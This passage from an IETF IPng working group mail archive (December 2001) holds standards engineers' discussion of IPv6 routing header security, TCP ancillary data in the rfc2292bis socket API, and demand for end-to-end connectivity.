i.e. all nodes in the site > makes the same choice (assuming same config), that a single node always > make the same choice, or that a single node randomly chooses. > I can see operational arguments for either one, but I'm not an operator. > > Erik -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 14:24:04 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMO4Fp003207 for ; Thu, 13 Dec 2001 14:24:04 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDMO4hL003206 for ipng-dist; Thu, 13 Dec 2001 14:24:04 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMO0Fp003199 for ; Thu, 13 Dec 2001 14:24:01 -0800 (PST) Received: from venus.sun.com (venus.EBay.Sun.COM [129.150.69.5]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA27386; Thu, 13 Dec 2001 14:24:02 -0800 (PST) Received: from alicia.nttmcl.com (alicia.nttmcl.com [216.69.69.10]) by venus.sun.com (8.9.3+Sun/8.9.3) with ESMTP id OAA24341; Thu, 13 Dec 2001 14:24:01 -0800 (PST) Received: from localhost (jj@localhost) by alicia.nttmcl.com (8.10.1/8.10.1) with ESMTP id fBDML4612860; Thu, 13 Dec 2001 14:21:05 -0800 (PST) Date: Thu, 13 Dec 2001 14:21:04 -0800 (PST) From: JJ Behrens To: Pekka Savola cc: Robert Elz , Erik Nordmark , ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt (fwd) Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk If the mn tries to send an ICMP message compaining that the packet is source routed, does it send the ICMP message by way of reversing the route used up to that point? If so, isn't that just as bad as allowing source routing (i.e. exploits are equally possible)? If so, dropping the packet is the appropriate action over sending an ICMP message. Humbly Submitted, -jj -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 14:26:53 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMQrFp003227 for ; Thu, 13 Dec 2001 14:26:53 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDMQrvJ003226 for ipng-dist; Thu, 13 Dec 2001 14:26:53 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMQoFp003219 for ; Thu, 13 Dec 2001 14:26:50 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA00018; Thu, 13 Dec 2001 14:26:51 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA23562; Thu, 13 Dec 2001 15:26:31 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDMPN300552; Fri, 14 Dec 2001 00:25:23 +0200 Date: Fri, 14 Dec 2001 00:25:23 +0200 (EET) From: Pekka Savola To: JJ Behrens cc: Robert Elz , Erik Nordmark , Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt (fwd) In-Reply-To: Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Thu, 13 Dec 2001, JJ Behrens wrote: > If the mn tries to send an ICMP message compaining that the packet is > source routed, does it send the ICMP message by way of reversing the route > used up to that point? ICMP message would not be source routed. Regular replies could be if the packet had been authenticated with AH. > If so, isn't that just as bad as allowing source routing (i.e. exploits > are equally possible)? If so, dropping the packet is the appropriate > action over sending an ICMP message. I'm slightly favouring the silent discard of the packet, but that basically requires that there's clear view on what the default setting is/should be. It appears this is not currently the case. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 14:51:59 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMpwFp003373 for ; Thu, 13 Dec 2001 14:51:59 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDMpwrT003372 for ipng-dist; Thu, 13 Dec 2001 14:51:58 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDMptFp003365 for ; Thu, 13 Dec 2001 14:51:55 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id OAA18110 for ; Thu, 13 Dec 2001 14:51:55 -0800 (PST) Received: from netcore.fi (netcore.fi [193.94.160.1]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id PAA17741 for ; Thu, 13 Dec 2001 15:51:54 -0700 (MST) Received: from localhost (pekkas@localhost) by netcore.fi (8.11.6/8.11.6) with ESMTP id fBDMpoR00741; Fri, 14 Dec 2001 00:51:51 +0200 Date: Fri, 14 Dec 2001 00:51:50 +0200 (EET) From: Pekka Savola To: Vladislav Yasevich cc: Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt In-Reply-To: <3C1A71F5.62905FA7@zk3.dec.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk On Fri, 14 Dec 2001, Vladislav Yasevich wrote: > I've read your draft and here is the list of comments regarding the > Routing Header. In my comments I am making an assumption that hosts > do not forward packets off the node. My draft makes the opposite assumption, as that is how I perceive most implementations do (Linux, KAME, probably Windows as they use round-trip traceroute, etc.), as seems to be expected by RFC2460. Your points are valid when you make the above assumption. Nonetheless, discussion in 2.5.1. and security considerations apply. IMO, "same-node" does not seem to be a strict enough requirement, if one assumes this kind of routing header processing would have to be enabled on *every* host. > ---- Section 2.1 ---- > > [...] > to forward using let's say ip6_forward() method. Since this is a > host, it should not be forwarding off the node (assumption above). > Since the route to 'host2' points off the node, the packet is dropped > (and I think the ICMP error is returned, not sure on this point). As far as I can see, no ICMP error is returned; I don't see where it would be specified, and quick tests don't show that either. > As you can see, if we restrict the hosts to not forward packets off > the node ( I think this is already done... indirectly), then the > routing headers do not really cause big problems. Where is this done indirectly? As a matter of fact, until very recently, one implementation specifically allowed routing headers even when the general forwarding was disabled .. because that is what impression RFC2460 gives. > As for your message with people creating routes to loopback, there is > nothing you can do if people insist of shooting themselves in the > foot. :) Remember, it's _attackers_ who are not doing this -- not administrator shooting themselves in the foot. Addrarch requires that these packets to loopback, site/linklocal are dropped at input. However, I'm curious whether all implementations process the packets received through this mechanism via the same input functions as regular packets would have been -- that is, has someone created "shortcuts" here.. -- Pekka Savola "Tell me of difficulties surmounted, Netcore Oy not those you stumble over and fall" Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 15:21:21 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDNLLFp003456 for ; Thu, 13 Dec 2001 15:21:21 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBDNLLbN003455 for ipng-dist; Thu, 13 Dec 2001 15:21:21 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail1.Eng.Sun.COM (engmail1 [129.146.1.13]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBDNLIFp003448 for ; Thu, 13 Dec 2001 15:21:18 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail1.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id PAA03630 for ; Thu, 13 Dec 2001 15:21:18 -0800 (PST) Received: from ztxmail05.ztx.compaq.com (ztxmail05.ztx.compaq.com [161.114.1.209]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id QAA29084 for ; Thu, 13 Dec 2001 16:21:17 -0700 (MST) Received: by ztxmail05.ztx.compaq.com (Postfix, from userid 12345) id EA057140F; Thu, 13 Dec 2001 17:21:16 -0600 (CST) Received: from mailrelay01.cac.cpqcorp.net (mailrelay01.cac.cpqcorp.net [16.47.132.152]) by ztxmail05.ztx.compaq.com (Postfix) with ESMTP id BBF5A1501; Thu, 13 Dec 2001 17:21:16 -0600 (CST) Received: by mailrelay01.cac.cpqcorp.net (Postfix, from userid 12345) id 2642F15E2; Thu, 13 Dec 2001 15:21:15 -0800 (PST) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by mailrelay01.cac.cpqcorp.net (Postfix) with ESMTP id 530951623; Thu, 13 Dec 2001 15:21:15 -0800 (PST) Received: from yquarry.zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id SAA0000011294; Thu, 13 Dec 2001 18:20:39 -0500 (EST) Received: from zk3.dec.com by yquarry.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id SAA0000030025; Thu, 13 Dec 2001 18:20:37 -0500 (EST) Message-ID: <3C1A8998.A7B1C60E@zk3.dec.com> Date: Fri, 14 Dec 2001 16:22:00 -0700 From: Vladislav Yasevich X-Mailer: Mozilla 4.78 [en] (X11; U; Linux 2.4.16-acpi i686) X-Accept-Language: en MIME-Version: 1.0 To: Pekka Savola Cc: ipng@sunroof.eng.sun.com Subject: Re: I-D ACTION:draft-deering-ipv6-encap-addr-deletion-00.txt References: Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Pekka RFC 2460 states the following: > router - a node that forwards IPv6 packets not explicitly > addressed to itself. [See Note below]. and the conseptual sending algorithm is this: > else { > swap the IPv6 Destination Address and Address[i] > > if the IPv6 Hop Limit is less than or equal to 1 { > send an ICMP Time Exceeded -- Hop Limit Exceeded in > Transit message to the Source Address and discard the > packet > } > else { > decrement the Hop Limit by 1 > > resubmit the packet to the IPv6 module for transmission > to the new destination > } One could argue that after the source routed packet is processed and resubmitted for transmision, it's is no longer addressed to the node processing it (the source is the original source and the destination is the next hop). Thus, the node in effect is forwarding this packet. "Forwarding" is a function of router thus, in my mind the node has to be configured as router and has to obey all the router rules. Pekka Savola wrote: > > Nonetheless, discussion in 2.5.1. and security considerations apply. > IMO, "same-node" does not seem to be a strict enough requirement, if one > assumes this kind of routing header processing would have to be enabled on > *every* host. I beleave that's what 2460 assumes. > > > As for your message with people creating routes to loopback, there is > > nothing you can do if people insist of shooting themselves in the > > foot. :) > > Remember, it's _attackers_ who are not doing this -- not administrator > shooting themselves in the foot. > > Addrarch requires that these packets to loopback, site/linklocal are > dropped at input. However, I'm curious whether all implementations > process the packets received through this mechanism via the same input > functions as regular packets would have been -- that is, has someone > created "shortcuts" here.. This would be a bug in the implementation and the implementation needs to be fixed. It doesn't make sence to impose restriction on a well behaving implementation. -vlad > > -- > Pekka Savola "Tell me of difficulties surmounted, > Netcore Oy not those you stumble over and fall" > Systems. Networks. Security. -- Robert Jordan: A Crown of Swords -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 17:26:36 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE1QaFp003941 for ; Thu, 13 Dec 2001 17:26:36 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBE1Qai5003940 for ipng-dist; Thu, 13 Dec 2001 17:26:36 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail2.Eng.Sun.COM (engmail2 [129.146.1.25]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE1QWFp003933 for ; Thu, 13 Dec 2001 17:26:32 -0800 (PST) Received: from saturn.sun.com (saturn.EBay.Sun.COM [129.150.69.2]) by engmail2.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id RAA09130 for ; Thu, 13 Dec 2001 17:26:33 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp (shuttle.wide.toshiba.co.jp [202.249.10.124]) by saturn.sun.com (8.9.3+Sun/8.9.3) with ESMTP id RAA06884 for ; Thu, 13 Dec 2001 17:26:32 -0800 (PST) Received: from localhost ([3ffe:507:1ff:1:70f4:1564:fe96:fb69]) by shuttle.wide.toshiba.co.jp (8.11.6/8.9.1) with ESMTP id fBE1QQ312375 for ; Fri, 14 Dec 2001 10:26:26 +0900 (JST) Date: Fri, 14 Dec 2001 10:26:15 +0900 Message-ID: From: JINMEI Tatuya / =?ISO-2022-JP?B?GyRCP0BMQEMjOkgbKEI=?= To: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis In-Reply-To: References: <200111301856.KAA29712@feller.mentat.com> User-Agent: Wanderlust/2.7.5 (Too Funky) Emacs/21.1 Mule/5.0 (SAKAKI) Organization: Research & Development Center, Toshiba Corp., Kawasaki, Japan. MIME-Version: 1.0 (generated by SEMI 1.14.3 - "Ushinoya") Content-Type: text/plain; charset=US-ASCII X-Dispatcher: imput version 980905(IM100) Lines: 34 Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk >>>>> On Thu, 13 Dec 2001 11:19:40 +0900, >>>>> JINMEI Tatuya said: >> An alternative candidate is to allow the stack to pass ancillary data >> items even without TCP data (recvmsg() would then return 0 in such a >> case.) With this approach, however, the application may not be able >> to determine the termination of a connection. The traditional coding >> style like (snip) > So, apart from the impact on the socket semantics, this is a migration > (or backward compatibility) issue. I'd like to know the current > situation about the deployment of rfc2292bis-02 (or before), and > opinions of implementors that have implemented or have a plan to > implement RFC2292 and/or rfc2292bis. As I said in the today's meeting, please speak up about your opinions, if you're interested in implementing the API. I'd like to collect the opinions, and will soon revise the draft based on consensus. Thanks, JINMEI, Tatuya Communication Platform Lab. Corporate R&D Center, Toshiba Corp. jinmei@isl.rdc.toshiba.co.jp p.s. since I skipped some topics in the presentation, I've put the presentation slides at the following URL. http://www.kame.net/~jinmei/mgp/ietf52-advapi/ Please refer to the web version of the slides if necessary. -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 18:39:35 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE2dZFp004039 for ; Thu, 13 Dec 2001 18:39:35 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBE2dZH0004038 for ipng-dist; Thu, 13 Dec 2001 18:39:35 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE2dVFp004031 for ; Thu, 13 Dec 2001 18:39:32 -0800 (PST) Received: from kathmandu.sun.com (kathmandu.Central.Sun.COM [129.147.5.36]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id SAA17776 for ; Thu, 13 Dec 2001 18:39:32 -0800 (PST) Received: from ztxmail05.ztx.compaq.com (ztxmail05.ztx.compaq.com [161.114.1.209]) by kathmandu.sun.com (8.9.3+Sun/8.9.3) with ESMTP id TAA24682 for ; Thu, 13 Dec 2001 19:39:32 -0700 (MST) Received: by ztxmail05.ztx.compaq.com (Postfix, from userid 12345) id B1A112609; Thu, 13 Dec 2001 20:39:31 -0600 (CST) Received: from taynzmail03.nz-tay.cpqcorp.net (taynzmail03.nz-tay.cpqcorp.net [16.47.4.103]) by ztxmail05.ztx.compaq.com (Postfix) with ESMTP id 79E5824C4; Thu, 13 Dec 2001 20:39:31 -0600 (CST) Received: by taynzmail03.nz-tay.cpqcorp.net (Postfix, from userid 12345) id 267DA1911; Thu, 13 Dec 2001 21:39:31 -0500 (EST) Received: from oflume.zk3.dec.com (bryflume.zk3.dec.com [16.141.40.17]) by taynzmail03.nz-tay.cpqcorp.net (Postfix) with ESMTP id C9F6A18A2; Thu, 13 Dec 2001 21:39:30 -0500 (EST) Received: from zk3.dec.com by oflume.zk3.dec.com (8.8.8/1.1.22.3/03Mar00-0551AM) id VAA0000020565; Thu, 13 Dec 2001 21:39:08 -0500 (EST) Message-ID: <3C1AFE62.E156CC0A@zk3.dec.com> Date: Sat, 15 Dec 2001 02:40:18 -0500 From: Vlad Yasevich X-Mailer: Mozilla 4.7 [en]C-CCK-MCD EBM-Compaq (Win95; U) X-Accept-Language: en MIME-Version: 1.0 To: jinmei@isl.rdc.toshiba.co.jp Cc: ipng@sunroof.eng.sun.com Subject: Re: TCP implication of 2292bis References: <200111301856.KAA29712@feller.mentat.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk Jinmei Since you are soliciting comments from implementors, here are my opionions about the change ( I was going to wait until I got to work). I beleave the the 2292bis-02 definition and TCP implications were fine. I was curious about the reasons this was put in the draft. You said at the meeting that you did this for security/access control reasons. I don't think that this was necessary. The send-only sockets do not really have a recieve side access control since the are "send only". Also, for SIN/FIN/RST packets, since there is no data that comes to the application, the application did not really need to know about the socket options supplied. The app can find that out when it gets the first data packet at does access control stuff. Before I say any more, I would really like to know the reason why you think the change is needed. -vlad JINMEI Tatuya / $B?@L@C#:H(B wrote: > > >>>>> On Thu, 13 Dec 2001 11:19:40 +0900, > >>>>> JINMEI Tatuya said: > > >> An alternative candidate is to allow the stack to pass ancillary data > >> items even without TCP data (recvmsg() would then return 0 in such a > >> case.) With this approach, however, the application may not be able > >> to determine the termination of a connection. The traditional coding > >> style like > > (snip) > > > So, apart from the impact on the socket semantics, this is a migration > > (or backward compatibility) issue. I'd like to know the current > > situation about the deployment of rfc2292bis-02 (or before), and > > opinions of implementors that have implemented or have a plan to > > implement RFC2292 and/or rfc2292bis. > > As I said in the today's meeting, please speak up about your opinions, > if you're interested in implementing the API. I'd like to collect the > opinions, and will soon revise the draft based on consensus. > > Thanks, > > JINMEI, Tatuya > Communication Platform Lab. > Corporate R&D Center, Toshiba Corp. > jinmei@isl.rdc.toshiba.co.jp > > p.s. since I skipped some topics in the presentation, I've put the > presentation slides at the following URL. > > http://www.kame.net/~jinmei/mgp/ietf52-advapi/ > > Please refer to the web version of the slides if necessary. > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Thu Dec 13 22:13:48 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE6DmFp004688 for ; Thu, 13 Dec 2001 22:13:48 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBE6DmIM004687 for ipng-dist; Thu, 13 Dec 2001 22:13:48 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail4.Eng.Sun.COM (engmail4 [129.144.134.6]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE6DjFp004680 for ; Thu, 13 Dec 2001 22:13:45 -0800 (PST) Received: from patan.sun.com (patan.Central.Sun.COM [129.147.5.43]) by engmail4.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id WAA25412 for ; Thu, 13 Dec 2001 22:13:47 -0800 (PST) Received: from stsl.siemens.com.tw (stsl.siemens.com.tw [192.72.45.189]) by patan.sun.com (8.9.3+Sun/8.9.3) with ESMTP id XAA03110 for ; Thu, 13 Dec 2001 23:13:26 -0700 (MST) Received: from stslex.siemens.com.tw (stslex [140.231.62.94]) by stsl.siemens.com.tw (8.11.6/8.11.6) with ESMTP id fBE6Ds726288; Fri, 14 Dec 2001 14:13:55 +0800 (CST) Received: by stslex.siemens.com.tw with Internet Mail Service (5.5.2653.19) id ; Fri, 14 Dec 2001 14:12:38 +0800 Message-ID: <92C0C0AC8AE8D411864300105A835CBB5016C6@stslex.siemens.com.tw> From: Moter Du To: "'cdel@firsthand.net'" , Brian E Carpenter Cc: ipng@sunroof.eng.sun.com Subject: RE: demand for end-to-end communication? Date: Fri, 14 Dec 2001 14:12:37 +0800 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C18466.53D911F0" Sender: owner-ipng@sunroof.eng.sun.com Precedence: bulk This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C18466.53D911F0 Content-Type: text/plain; charset="windows-1252" Appreciate your comments. Only people convinced e2e will benifit their daily life and get better results, will drop their indirect communication services which they live with. Then the need for IPv6 becomes common consensus of all. Is there already something describing which applications would be impractical without e2e transparency? Many thanks. Moter -----Original Message----- From: Christian de Larrinaga [mailto:cdel@firsthand.net] Sent: Friday, December 14, 2001 12:18 AM To: Brian E Carpenter Cc: Moter Du; ipng@sunroof.eng.sun.com Subject: RE: demand for end-to-end communication? I agree. Users can be recepteive to principles such as RFC1958 "connectivity is its own reward." :-) but there is a leap of the imagination needed for users brought up in an environment of mediated communications services to "get" the benefit of e2e. we should look at what e2e transparency environment offers application / service designers. perhaps in another place. Christian > -----Original Message----- > From: owner-ipng@sunroof.eng.sun.com > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Brian E Carpenter > Sent: 13 December 2001 14:28 > To: cdel@firsthand.net > Cc: Moter Du; ipng@sunroof.eng.sun.com > Subject: Re: demand for end-to-end communication? > > > It's our responsibility as engineers to care. You can't > expect users to care, or even to understand why they are > getting poor results. Still less can you expect users to > know that they are being deprived of innovative new applications > because of the lack of e2e transparency. > > Brian > > Christian de Larrinaga wrote: > > > > From: owner-ipng@sunroof.eng.sun.com > > [mailto:owner-ipng@sunroof.eng.sun.com]On Behalf Of Moter Du > > Sent: 13 December 2001 08:32 > > Subject: demand for end-to-end communication? > > > > >For day-by-day communication (voice calls, video conferences, > etc.), the > > indirect services seem have offered > > >VoIP solutions without further consume scarce address space. I know > > indirect communication would expense > > >double bandwidth. But, what if people just doesn't care? > > >Moter > > > > IMO need space for both. unsure about bandwidth implication. users don't > > care until they get spiked. > > > > christian > -------------------------------------------------------------------- > IETF IPng Working Group Mailing List > IPng Home Page: http://playground.sun.com/ipng > FTP archive: ftp://playground.sun.com/pub/ipng > Direct all administrative requests to majordomo@sunroof.eng.sun.com > -------------------------------------------------------------------- > ------_=_NextPart_001_01C18466.53D911F0 Content-Type: text/html; charset="windows-1252" Content-Transfer-Encoding: quoted-printable RE: demand for end-to-end communication?

Appreciate your comments.  Only people convinced = e2e will benifit their daily life and get better results, will drop = their indirect communication services which they live with.  Then = the need for IPv6 becomes common consensus of all.

Is there already something describing which = applications would be impractical without e2e transparency?  Many = thanks.

Moter

-----Original Message-----
From: Christian de Larrinaga [mailto:cdel@firsthand.net]=
Sent: Friday, December 14, 2001 12:18 AM
To: Brian E Carpenter
Cc: Moter Du; ipng@sunroof.eng.sun.com
Subject: RE: demand for end-to-end = communication?


I agree. Users can be recepteive to principles such = as RFC1958 "connectivity
is its own reward." :-)

but there is a leap of the imagination needed for = users brought up in an
environment of mediated communications services to = "get" the  benefit of
e2e.

we should look at what e2e transparency environment = offers application /
service designers. perhaps in another place.

Christian


> -----Original Message-----
> From: owner-ipng@sunroof.eng.sun.com
> [mailto:owner-ipng@sunroof= .eng.sun.com]On Behalf Of Brian E Carpenter
> Sent: 13 December 2001 14:28
> To: cdel@firsthand.net
> Cc: Moter Du; ipng@sunroof.eng.sun.com
> Subject: Re: demand for end-to-end = communication?
>
>
> It's our responsibility as engineers to care. = You can't
> expect users to care, or even to understand why = they are
> getting poor results. Still less can you expect = users to
> know that they are being deprived of innovative = new applications
> because of the lack of e2e transparency.
>
>    Brian
>
> Christian de Larrinaga wrote:
> >
> > From: = owner-ipng@sunroof.eng.sun.com
> > [mailto:owner-ipng@sunroof= .eng.sun.com]On Behalf Of Moter Du
> > Sent: 13 December 2001 08:32
> > Subject: demand for end-to-end = communication?
> >
> > >For day-by-day communication (voice = calls, video conferences,
> etc.), the
> > indirect services seem have offered
> > >VoIP solutions without further consume = scarce address space.  I know
> > indirect communication would expense=
> > >double bandwidth.  But, what if = people just doesn't care?
> > >Moter
> >
> > IMO need space for both. unsure about = bandwidth implication. users don't
> > care until they get spiked.
> >
> > christian
> = --------------------------------------------------------------------
> IETF IPng Working Group Mailing List
> IPng Home = Page:           &= nbsp;          http://playground.sun.com/ipng
> FTP = archive:          &nbs= p;           ftp://playground.sun.com/pub/ipng
> Direct all administrative requests to = majordomo@sunroof.eng.sun.com
> = --------------------------------------------------------------------
>

------_=_NextPart_001_01C18466.53D911F0-- -------------------------------------------------------------------- IETF IPng Working Group Mailing List IPng Home Page: http://playground.sun.com/ipng FTP archive: ftp://playground.sun.com/pub/ipng Direct all administrative requests to majordomo@sunroof.eng.sun.com -------------------------------------------------------------------- From owner-ipng@sunroof.eng.sun.com Fri Dec 14 01:16:26 2001 Received: from sunroof.eng.sun.com (localhost [127.0.0.1]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE9GQFp005039 for ; Fri, 14 Dec 2001 01:16:26 -0800 (PST) Received: (from majordomo@localhost) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2/Submit) id fBE9GQW8005038 for ipng-dist; Fri, 14 Dec 2001 01:16:26 -0800 (PST) X-Authentication-Warning: sunroof.eng.sun.com: majordomo set sender to owner-ipng@sunroof.eng.sun.com using -f Received: from engmail3.Eng.Sun.COM (engmail3 [129.144.170.5]) by sunroof.eng.sun.com (8.12.2.Beta2+Sun/8.12.2.Beta2) with ESMTP id fBE9GMFp005031 for ; Fri, 14 Dec 2001 01:16:22 -0800 (PST) Received: from pheriche.sun.com (pheriche.Central.Sun.COM [129.147.5.34]) by engmail3.Eng.Sun.COM (8.9.3+Sun/8.9.3/ENSMAIL,v2.1p1) with ESMTP id BAA00997 for ; Fri, 14 Dec 2001 01:16:23 -0800 (PST) Received: from shuttle.wide.toshiba.co.jp 